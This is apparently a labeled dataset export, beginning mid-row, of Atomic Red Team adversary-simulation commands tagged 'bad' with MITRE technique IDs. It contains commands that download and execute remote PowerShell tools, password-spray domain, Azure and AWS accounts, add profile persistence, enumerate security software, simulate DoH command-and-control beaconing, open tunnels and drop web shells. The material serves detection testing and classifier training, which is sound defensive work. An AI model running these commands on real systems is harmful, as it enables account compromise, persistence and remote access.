HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors.
The new print processor will point to a DLL which will be loaded by the spooler service after a reboot. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful.

Note: The test assumes a x64 Windows operating system.

The payload source code is based on a blog post b",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bfdd3904e121722cffef8dfb,"Add-Content #{ps_profile} -Value """" Add-Content #{ps_profile} -Value ""Start-Process #{exe_path}"" powershell -Command exit","Add-Content #{ps_profile} -Value """" Add-Content #{ps_profile} -Value ""Start-Process #{exe_path}"" powershell -Command exit",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.013/T1546.013.yaml,Append malicious start-process cmdlet,T1546.013,"[""T1546.013""]",windows,0.9,False,"Appends a start process cmdlet to the current user's powershell profile pofile that points to a malicious executable. Upon execution, calc.exe will be launched.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9aca8b7a10f2b5e31a603376,$oldprofile = cat $profile | Select-Object -skiplast 1 Set-Content $profile -Value $oldprofile,$oldprofile = cat $profile | Select-Object -skiplast 1 Set-Content $profile -Value $oldprofile,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.013/T1546.013.yaml,Append malicious start-process cmdlet,T1546.013,"[""T1546.013""]",windows,0.55,True,"Appends a start process cmdlet to the current user's powershell profile pofile that points to a malicious executable. Upon execution, calc.exe will be launched.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fca03e82e3c2a73436e19c00,"@FOR /F %n in (%temp%\users.txt) do @echo | set/p=. & @net use %logonserver%\IPC$ /user:""%userdomain%\%n"" ""#{password}"" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\IPC$ > NUL","@FOR /F %n in (%temp%\users.txt) do @echo | set/p=. & @net use %logonserver%\IPC$ /user:""%userdomain%\%n"" ""#{password}"" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\IPC$ > NUL",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.003/T1110.003.yaml,Password Spray all Domain Users,T1110.003,"[""T1110.003""]",windows,0.9,False,"CAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently.
This atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\users.txt list. Any successful authentications will be printed to the screen with a message like ""[*] username:password"", whereas a failed auth will simply print a period. Use the input arguments to specify your own password to use fo",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
145273b91e225fc0abc4b6f7,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.003/T1110.003.yaml,Password Spray (DomainPasswordSpray),T1110.003,"[""T1110.003""]",windows,0.9,False,"Perform a domain password spray using the DomainPasswordSpray tool. It will try a single password against all users in the domain

https://github.com/dafthack/DomainPasswordSpray
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3934540711ed4acb102ce327,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') domainpassspray -consoleoutput -noninteractive -emptypasswords,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') domainpassspray -consoleoutput -noninteractive -emptypasswords,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.003/T1110.003.yaml,WinPwn - DomainPasswordSpray Attacks,T1110.003,"[""T1110.003""]",windows,0.9,False,DomainPasswordSpray Attacks technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
02f610b2d7811b789762ecbe,"function Invoke-dpsLight ($Password, $userlist) { $users = Get-Content $userlist $Domain = ""LDAP://"" + ([ADSI]"""").distinguishedName foreach ($User in $users) { $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain, $User, $Password) if ($Domain_check.name -ne $null) { Write-Host -ForegroundColor Green ""Password found for User:$User Password:$Password"" } else { Write-Host "". "" -NoNewline} } Write-Host -ForegroundColor green ""Finished"" } Invoke-dpsLight ""#{password}"" $env:Temp\usersdpsLight.txt","function Invoke-dpsLight ($Password, $userlist) { $users = Get-Content $userlist $Domain = ""LDAP://"" + ([ADSI]"""").distinguishedName foreach ($User in $users) { $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain, $User, $Password) if ($Domain_check.name -ne $null) { Write-Host -ForegroundColor Green ""Password found for User:$User Password:$Password"" } else { Write-Host "". "" -NoNewline} } Write-Host -ForegroundColor green ""Finished"" } Invoke-dpsLight ""#{password}"" $env:Temp\usersdpsLight.txt",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.003/T1110.003.yaml,Password Spray Invoke-DomainPasswordSpray Light,T1110.003,"[""T1110.003""]",windows,0.9,False,"Perform a domain password spray using the same core method of the [DomainPasswordSpray tool](https://github.com/dafthack/DomainPasswordSpray) 
but without all the extra code that makes the script get blocked by many AVs. 
This atomic test will attempt a single password against all users in a password list at $env:Temp\usersdpsLight.txt. You can create this file manually
or with the automated prereq_command. The prereq_command will limit the user list to 200 users by default to help you avoid mas",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
69f9098c28fa4ae0dfb588b1,"import-module ""PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1"" Invoke-MSOLSpray -UserList ""#{user_list}"" -Password ""#{password}""","import-module ""PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1"" Invoke-MSOLSpray -UserList ""#{user_list}"" -Password ""#{password}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.003/T1110.003.yaml,Password Spray Microsoft Online Accounts with MSOLSpray (Azure/O365),T1110.003,"[""T1110.003""]",azure-ad,0.9,False,"This test attempts to brute force a list of Microsoft Online (Azure/O365) users with a single password via the MSOLSpray Powershell module.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f2d5a7f474f3049a5057d764,"cd ""PathToAtomicsFolder\..\ExternalPayloads"" .\kerbrute.exe passwordspray --dc #{domaincontroller} -d #{domain} ""PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt"" password132","cd ""PathToAtomicsFolder\..\ExternalPayloads"" .\kerbrute.exe passwordspray --dc #{domaincontroller} -d #{domain} ""PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt"" password132",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.003/T1110.003.yaml,Password Spray using Kerbrute Tool,T1110.003,"[""T1110.003""]",windows,0.9,False,"Test a single password against a list of users
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3cccd146f9463e4ebea482c0,cd /tmp git clone git@github.com:WhiteOakSecurity/GoAWSConsoleSpray.git cd /tmp/GoAWSConsoleSpray go run main.go GoAWSConsoleSpray -a #{aws_account_id} -u PathToAtomicsFolder/T1110.003/src/aws_users.txt -p PathToAtomicsFolder/T1110.003/src/aws_passwords.txt,cd /tmp git clone git@github.com:WhiteOakSecurity/GoAWSConsoleSpray.git cd /tmp/GoAWSConsoleSpray go run main.go GoAWSConsoleSpray -a #{aws_account_id} -u PathToAtomicsFolder/T1110.003/src/aws_users.txt -p PathToAtomicsFolder/T1110.003/src/aws_passwords.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.003/T1110.003.yaml,AWS - Password Spray an AWS using GoAWSConsoleSpray,T1110.003,"[""T1110.003""]",iaas:aws,0.9,False,"GoAWSConsoleSpray is a tool that can be used to spray AWS IAM Console Credentials in order to identify a valid login for a user account built by WhiteOakSecurity. For more details reagrding the tool, check - https://www.whiteoaksecurity.com/blog/goawsconsolespray-password-spraying-tool/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
86a32dc03c5af91ecc04cd6a,rm -rf /tmp/GoAWSConsoleSpray,rm -rf /tmp/GoAWSConsoleSpray,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.003/T1110.003.yaml,AWS - Password Spray an AWS using GoAWSConsoleSpray,T1110.003,"[""T1110.003""]",iaas:aws,0.55,True,"GoAWSConsoleSpray is a tool that can be used to spray AWS IAM Console Credentials in order to identify a valid login for a user account built by WhiteOakSecurity. For more details reagrding the tool, check - https://www.whiteoaksecurity.com/blog/goawsconsolespray-password-spraying-tool/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
91bf2a358ab6c47173034032,"get-process | ?{$_.Description -like ""*virus*""} get-process | ?{$_.Description -like ""*carbonblack*""} get-process | ?{$_.Description -like ""*defender*""} get-process | ?{$_.Description -like ""*cylance*""} get-process | ?{$_.Description -like ""*mc*""} get-process | ?{$_.ProcessName -like ""*mc*""} get-process | Where-Object { $_.ProcessName -eq ""Sysmon"" }","get-process | ?{$_.Description -like ""*virus*""} get-process | ?{$_.Description -like ""*carbonblack*""} get-process | ?{$_.Description -like ""*defender*""} get-process | ?{$_.Description -like ""*cylance*""} get-process | ?{$_.Description -like ""*mc*""} get-process | ?{$_.ProcessName -like ""*mc*""} get-process | Where-Object { $_.ProcessName -eq ""Sysmon"" }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1518.001/T1518.001.yaml,Security Software Discovery - powershell,T1518.001,"[""T1518.001""]",windows,0.9,False,"Methods to identify Security Software on an endpoint

when sucessfully executed, powershell is going to processes related AV products if they are running.
Note that, depending on the privilege of current user, get-process | ?{$_.Description -like ""*""} may not return the processes related to AV products of the check.
For instance, only with Administrator right, you can see the process description of McAffee processes. Hence, it is better to use get-process | ?{$_.ProcessName -like ""*""},
if you kn",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3eefcf01c21f56695e51d52a,ps aux | egrep 'Little\ Snitch|CbOsxSensorService|falcond|nessusd|santad|CbDefense|td-agent|packetbeat|filebeat|auditbeat|osqueryd|BlockBlock|LuLu',ps aux | egrep 'Little\ Snitch|CbOsxSensorService|falcond|nessusd|santad|CbDefense|td-agent|packetbeat|filebeat|auditbeat|osqueryd|BlockBlock|LuLu',bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1518.001/T1518.001.yaml,Security Software Discovery - ps (macOS),T1518.001,"[""T1518.001""]",macos,0.9,False,"Methods to identify Security Software on an endpoint
when sucessfully executed, command shell  is going to display AV/Security software it is running.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fcb5a6c429ba9156d9169521,ps aux | egrep 'falcond|nessusd|cbagentd|td-agent|packetbeat|filebeat|auditbeat|osqueryd',ps aux | egrep 'falcond|nessusd|cbagentd|td-agent|packetbeat|filebeat|auditbeat|osqueryd',bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1518.001/T1518.001.yaml,Security Software Discovery - ps (Linux),T1518.001,"[""T1518.001""]",linux,0.9,False,"Methods to identify Security Software on an endpoint
when sucessfully executed, command shell  is going to display AV/Security software it is running.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8194c11d72c31781aa0f6cdf,pgrep -l 'bareos-fd|icinga2|cbagentd|wazuh-agent|packetbeat|filebeat|osqueryd',pgrep -l 'bareos-fd|icinga2|cbagentd|wazuh-agent|packetbeat|filebeat|osqueryd',bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1518.001/T1518.001.yaml,Security Software Discovery - pgrep (FreeBSD),T1518.001,"[""T1518.001""]",linux,0.9,False,"Methods to identify Security Software on an endpoint
when sucessfully executed, command shell is going to display AV/Security software it is running.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
199025c359a3782ba12b955c,fltmc.exe | findstr.exe 385201,fltmc.exe | findstr.exe 385201,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1518.001/T1518.001.yaml,Security Software Discovery - Sysmon Service,T1518.001,"[""T1518.001""]",windows,0.9,False,"Discovery of an installed Sysinternals Sysmon service using driver altitude (even if the name is changed).

when sucessfully executed, the test is going to display sysmon driver instance if it is installed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4828121c01cea50491a72ea7,wmic.exe /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List,wmic.exe /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1518.001/T1518.001.yaml,Security Software Discovery - AV Discovery via WMI,T1518.001,"[""T1518.001""]",windows,0.9,False,"Discovery of installed antivirus products via a WMI query.

when sucessfully executed, the test is going to display installed AV software.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ca5fb88596b8f35c2581fbcc,powershell Get-CimInstance -Namespace root/securityCenter2 -classname antivirusproduct powershell Get-WmiObject -Namespace root\securitycenter2 -Class antivirusproduct,powershell Get-CimInstance -Namespace root/securityCenter2 -classname antivirusproduct powershell Get-WmiObject -Namespace root\securitycenter2 -Class antivirusproduct,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1518.001/T1518.001.yaml,Security Software Discovery - AV Discovery via Get-CimInstance and Get-WmiObject cmdlets,T1518.001,"[""T1518.001""]",windows,0.9,False,"Discovery of installed antivirus products via Get-CimInstance and Get-WmiObject cmdlets of powershell.

when sucessfully executed, information about installed AV software is displayed..
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f16503d63fcab12c093d27f7,"Get-Service WinDefend #check the service state of Windows Defender Get-MpComputerStatus #provides the current status of security solution elements, including Anti-Spyware, Antivirus, LoavProtection, Real-time protection, etc Get-MpThreat #threats details that have been detected using MS Defender","Get-Service WinDefend #check the service state of Windows Defender Get-MpComputerStatus #provides the current status of security solution elements, including Anti-Spyware, Antivirus, LoavProtection, Real-time protection, etc Get-MpThreat #threats details that have been detected using MS Defender",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1518.001/T1518.001.yaml,Security Software Discovery - Windows Defender Enumeration,T1518.001,"[""T1518.001""]",windows,0.9,False,"Windows Defender Enumeration via different built-in windows native tools.
when sucessfully executed, information about windows defender is displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8806f1d9b0e3b60624eaada0,"Get-NetFirewallProfile | Format-Table Name, Enabled Get-NetFirewallSetting Get-NetFirewallRule | select DisplayName, Enabled, Description","Get-NetFirewallProfile | Format-Table Name, Enabled Get-NetFirewallSetting Get-NetFirewallRule | select DisplayName, Enabled, Description",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1518.001/T1518.001.yaml,Security Software Discovery - Windows Firewall Enumeration,T1518.001,"[""T1518.001""]",windows,0.9,False,"Enumerates windows firewall to retrieves firewall rules from the target computer.

when sucessfully executed, details of windows firewall is displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c9a3b943008c9dc2c6aff67e,"wmic /Node:localhost /Namespace:\\root\Microsoft\Windows\Defender Path MSFT_MpPreference Get /format:list | findstr /i /C:""DisableRealtimeMonitoring"" /C:""ExclusionPath"" /C:""ExclusionExtension"" /C:""ExclusionProcess""","wmic /Node:localhost /Namespace:\\root\Microsoft\Windows\Defender Path MSFT_MpPreference Get /format:list | findstr /i /C:""DisableRealtimeMonitoring"" /C:""ExclusionPath"" /C:""ExclusionExtension"" /C:""ExclusionProcess""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1518.001/T1518.001.yaml,Get Windows Defender exclusion settings using WMIC,T1518.001,"[""T1518.001""]",windows,0.9,False,"In this test, a WMIC command is used to probe the local Windows system for the configuration of Windows Defender's exclusions. This command targets the MSFT_MpPreference 
class within the Windows Management Instrumentation (WMI) namespace, allowing the retrieval of critical settings such as disabled real-time monitoring and specified 
exclusion paths, file extensions, and processes. Attackers might use this approach to understand what is excluded from antivirus scans, enabling further exploitati",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a291e5ff1965090174967d62,ping -c #{ping_count} 8.8.8.8 > /dev/null #{evil_command},ping -c #{ping_count} 8.8.8.8 > /dev/null #{evil_command},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1497.003/T1497.003.yaml,Delay execution with ping,T1497.003,"[""T1497.003""]","linux,macos",0.9,False,"Uses the ping command to introduce a delay before executing a malicious payload.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
942cb824dc91bec425df075b,"for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest ""#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}"" -UseBasicParsing).Content }","for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest ""#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}"" -UseBasicParsing).Content }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1572/T1572.yaml,DNS over HTTPS Large Query Volume,T1572,"[""T1572""]",windows,0.9,False,"This test simulates an infected host sending a large volume of DoH queries to a command and control server.
The intent of this test is to trigger threshold based detection on the number of DoH queries either from a single source system or to a single targe domain.
A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2545f3905a3b095d452078c1,"Set-Location ""PathToAtomicsFolder"" .\T1572\src\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}","Set-Location ""PathToAtomicsFolder"" .\T1572\src\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1572/T1572.yaml,DNS over HTTPS Regular Beaconing,T1572,"[""T1572""]",windows,0.9,False,"This test simulates an infected host beaconing via DoH queries to a command and control server at regular intervals over time.
This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.
A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
74506c0b6cccdb8a1d660bf9,"Set-Location ""PathToAtomicsFolder"" .\T1572\src\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}","Set-Location ""PathToAtomicsFolder"" .\T1572\src\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1572/T1572.yaml,DNS over HTTPS Long Domain Query,T1572,"[""T1572""]",windows,0.9,False,"This test simulates an infected host returning data to a command and control server using long domain names.
The simulation involves sending DoH queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DoH queries for long domain names over a set threshold.
 Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1454d5a634564822251e8aab,C:\Users\Public\ngrok\ngrok.exe config add-authtoken #{api_token} | Out-Null Start-Job -ScriptBlock { C:\Users\Public\ngrok\ngrok.exe tcp #{port_num} } | Out-Null Start-Sleep -s 5 Stop-Job -Name Job1 | Out-Null,C:\Users\Public\ngrok\ngrok.exe config add-authtoken #{api_token} | Out-Null Start-Job -ScriptBlock { C:\Users\Public\ngrok\ngrok.exe tcp #{port_num} } | Out-Null Start-Sleep -s 5 Stop-Job -Name Job1 | Out-Null,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1572/T1572.yaml,run ngrok,T1572,"[""T1572""]",windows,0.9,False,"Download and run ngrok. Create tunnel to chosen port.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c35bb8fd9512acae31e9313b,Remove-Item C:\Users\Public\ngrok -Recurse -ErrorAction Ignore Remove-Item C:\%userprofile%\AppData\Local\ngrok -ErrorAction Ignore,Remove-Item C:\Users\Public\ngrok -Recurse -ErrorAction Ignore Remove-Item C:\%userprofile%\AppData\Local\ngrok -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1572/T1572.yaml,run ngrok,T1572,"[""T1572""]",windows,0.55,True,"Download and run ngrok. Create tunnel to chosen port.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c60a373c4c87bcabc59db2ab,#{binary_path} host -p #{port} &,#{binary_path} host -p #{port} &,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1572/T1572.yaml,Microsoft Dev tunnels (Linux/macOS),T1572,"[""T1572""]","linux,macos",0.9,False,"Dev Tunnels enables insiders as well as threat actors to expose local ports over the internet via Microsoft dev tunnels.

This atomic will generate a dev tunnel binding it to the local service running on the provided port. Can be used to expose local services, web applications and local files etc.
Reference:
- [Microsoft Docs](https://learn.microsoft.com/en-us/tunnels/dev-tunnels-overview)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/devtunnels/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a371426152675e0ed9bd2d2e,"pkill -9 $(basename ""#{binary_path}"") #{binary_path} user logout rm #{binary_path}","pkill -9 $(basename ""#{binary_path}"") #{binary_path} user logout rm #{binary_path}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1572/T1572.yaml,Microsoft Dev tunnels (Linux/macOS),T1572,"[""T1572""]","linux,macos",0.55,True,"Dev Tunnels enables insiders as well as threat actors to expose local ports over the internet via Microsoft dev tunnels.

This atomic will generate a dev tunnel binding it to the local service running on the provided port. Can be used to expose local services, web applications and local files etc.
Reference:
- [Microsoft Docs](https://learn.microsoft.com/en-us/tunnels/dev-tunnels-overview)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/devtunnels/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ff693b760a8e6431e906ec58,nohup code tunnel --accept-server-license-terms #{additional_args} >/dev/null 2>&1 &,nohup code tunnel --accept-server-license-terms #{additional_args} >/dev/null 2>&1 &,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1572/T1572.yaml,VSCode tunnels (Linux/macOS),T1572,"[""T1572""]","linux,macos",0.9,False,"Visual Studio Code Remote Tunnels can be used for exposing local development environment/services/files over the internet.
This atomic will generate a dev tunnel binding it to the local service running on the provided port.
Reference:
- [Microsoft Docs](https://code.visualstudio.com/docs/remote/tunnels)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/vscode-server/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
79c2384bae286b8aae361260,pkill -9 tunnel code tunnel unregister code tunnel user logout,pkill -9 tunnel code tunnel unregister code tunnel user logout,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1572/T1572.yaml,VSCode tunnels (Linux/macOS),T1572,"[""T1572""]","linux,macos",0.55,True,"Visual Studio Code Remote Tunnels can be used for exposing local development environment/services/files over the internet.
This atomic will generate a dev tunnel binding it to the local service running on the provided port.
Reference:
- [Microsoft Docs](https://code.visualstudio.com/docs/remote/tunnels)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/vscode-server/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f3f77e50f22aaa4dc714582f,nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &,nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1572/T1572.yaml,Cloudflare tunnels (Linux/macOS),T1572,"[""T1572""]","linux,macos",0.9,False,"Cloudflared can be used for exposing local development environment/services/files over the internet.
This atomic will generate a dev tunnel binding it to the local service running on the provided port.
Reference:
- [Cloudflared Docs](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/cloudflared/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b597fa8e686855dc1132867b,"pkill -9 $(basename ""#{binary_path}"") rm -f ""#{binary_path}""","pkill -9 $(basename ""#{binary_path}"") rm -f ""#{binary_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1572/T1572.yaml,Cloudflare tunnels (Linux/macOS),T1572,"[""T1572""]","linux,macos",0.55,True,"Cloudflared can be used for exposing local development environment/services/files over the internet.
This atomic will generate a dev tunnel binding it to the local service running on the provided port.
Reference:
- [Cloudflared Docs](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/cloudflared/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cea3eca093e2b583bc929890,"#{mofcomp_path} ""#{mof_file}""","#{mofcomp_path} ""#{mof_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.003/T1546.003.yaml,Windows MOFComp.exe Load MOF File,T1546.003,"[""T1546.003""]",windows,0.9,False,"The following Atomic will utilize MOFComp.exe to load a local MOF file.
The Managed Object Format (MOF) compiler parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. 
To query for the class:  gwmi __eventfilter -namespace root\subscription
A successful execution will add the class to WMI root namespace.
Reference: https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/ and https://thedfirreport.com/2022/07/11/s",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
35754e1f706b376ec96cb8a3,Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force,Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055.011/T1055.011.yaml,Process Injection via Extra Window Memory (EWM) x64 executable,T1055.011,"[""T1055.011""]",windows,0.55,True,Hooks functions of main process to inject a payload via Extra Window Memory (EWM) injection technique,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
db3c20ae6a1966cf37b132bb,"xcopy /I /Y ""#{web_shells}"" #{web_shell_path}","xcopy /I /Y ""#{web_shells}"" #{web_shell_path}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1505.003/T1505.003.yaml,Web Shell Written to Disk,T1505.003,"[""T1505.003""]",windows,0.9,False,"This test simulates an adversary leveraging Web Shells by simulating the file modification to disk.
Idea from APTSimulator.
cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
05f41f80b46928199305e7b9,del #{web_shell_path}\b.jsp /q >nul 2>&1 del #{web_shell_path}\tests.jsp /q >nul 2>&1 del #{web_shell_path}\cmd.aspx /q >nul 2>&1,del #{web_shell_path}\b.jsp /q >nul 2>&1 del #{web_shell_path}\tests.jsp /q >nul 2>&1 del #{web_shell_path}\cmd.aspx /q >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1505.003/T1505.003.yaml,Web Shell Written to Disk,T1505.003,"[""T1505.003""]",windows,0.55,True,"This test simulates an adversary leveraging Web Shells by simulating the file modification to disk.
Idea from APTSimulator.
cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
